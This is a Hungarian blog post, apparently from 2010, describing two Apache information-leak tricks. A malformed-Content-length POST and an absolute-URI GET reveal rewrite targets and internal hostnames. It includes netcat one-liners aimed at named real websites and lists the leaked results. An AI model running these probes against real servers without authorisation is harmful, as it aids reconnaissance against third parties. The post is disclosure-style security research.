A Niobium Attack Research nem rég meglepett néhány hasznos leírással, ezeket sorban fogom közölni itt a blogon. Először két Apache-ot érintő információszivárgásról lesz szó, melyeket a keresőbarát URL-eket használó webhelyek egyre növekvő számára való tekintettel minden bizonnyal sok helyen lehet majd hasznosítani.
Szöszöltem egy keveset a kedvenc webszerverünkkel, leírok néhány megfigyelést ami esetleg támpontot adhat egy támadónak/penteszternek/auditornak.
Az első bug segítségével egyszerűen megtudhatod hogy mi az indexfájl neve, vagy hogy a rewrite rule minek adja át a csokit.
Kezdjük mondjuk a rewrite-al az az érdekesebb.
Vannak ezek a friendly url-ek mint ahogy én is csináltam:
http://niobium.hu/id/3
RewriteEngine On
RewriteRule /id/(.*)$ /index.php?id=$1
vagy
RewriteRule /id/(\d+)$ /index.php?id=$1
Halom oldal így működik.
Te mint támadó szeretnéd megtudni hogy mi a rewrite szabály, azért mert:
- tudni akarod hogy mi a php/cgi/etc neve ami kapja
- tudni akarod hogy mi az a változó amibe kapja
- buzerálni akarod mert úgysem bírod ki
- satöbbi.
A rewrite rule első fele részben vagy egészben visszafejthető, a változó megtalálására is van jó módszer, de ez a post most nem erről szól.
Azt hogy mi a második fele, azaz a php/cgi neve azt egy olcsó kis hibaüzenetből meg tudod állapítani, amelyet a következőképpen triggerelsz:
echo -ne "POST / HTTP/1.1\nHost: wwww.valami.tld\nConnection: close\nContent-length: x\n\n" | nc wwww.valami.tld 80 | less
A kulcs a POST és a Content-length elbaszott értéke, amire kapunk egy "413 Request Entity Too Large" hibaüzit.
Ha authorization kell akkor acc nélkül nem müxx.
Nem teljesen normális működést produkál: a legtöbb esetben megkapod a 413-at, majd body-ban a hibaüzit, és furmányos módon egyből utána a php/cgi/akármi kimenetét: azaz a cgi lefutott.
Nézzük élesben működő szájtokon:
# H=ha.ckers.org; echo -ne "POST /blog/category/webappsec/books/ HTTP/1.1\nHost: $H\nConnection: close\nContent-length: x\n\n" | nc $H 80 | less
Erre valami ilyet fogsz látni lessben:
HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Apr 2010 22:30:03 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/blog/index.php<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" content="text/html; charset=ISO-8859-1" />
<TITLE> Books ha.ckers.org web application security lab</TITLE>
<META NAME="generator" content="vim" />
<META NAME="description" CONTENT="web application security blog">
...
Vastaggal kiemeltem.
Vizsgáljunk meg néhány security-s szájtot ezzel a kis leak-fu-val hogy ki mire rewrite-ol:
- packetstormsecurity.nl - /index.html
- neworder.box.sk - /index.php
- milw0rm.com - /index.php
- carnal0wnage.attackresearch.com - /index.php
- security.hu - /index.html
H=bindshell.net;
echo -ne "POST / HTTP/1.1\nHost: $H\nConnection: close\nContent-length: x\n\n" | nc $H 80 | less
echo -ne "POST /x HTTP/1.1\nHost: $H\nConnection: close\nContent-length: x\n\n" | nc $H 80 | less
bindshell.net - /frontpage.php # az indexfajl
bindshell.net - /multiplex.php # rewrite
Nézzük a másik leaket...
Kétféleképpen lehet triggerelni de konfiguráció függő:
1.: GET http://0:x/
2.: GET http://[
Íme a példa
H=www.hacktivity.hu; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less
H=www.exploit-db.com; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less
H=www.pannon.hu; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less
H=www.itsecurity.hu; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less
H=www.isaca.hu; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less
H=www.cisco.hu; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less
H=www.aruba.hu; host $H; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less
H=www.silentsignal.hu; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less
sorrendben:
- bitnet.hu.hu
- explo.it
- pweb1.dmz.pgsm.hu
- www.ophrys.com
- isacahu.com
- stats.tvnet.hu
- www.forpsi.hu
- server2.cs-source.hu
synapse · http://www.synsecblog.com 2010.06.04. 13:04:57
synapse
buherator · http://buhera.blog.hu 2010.06.04. 13:21:47
MArceLL 2010.06.05. 10:28:28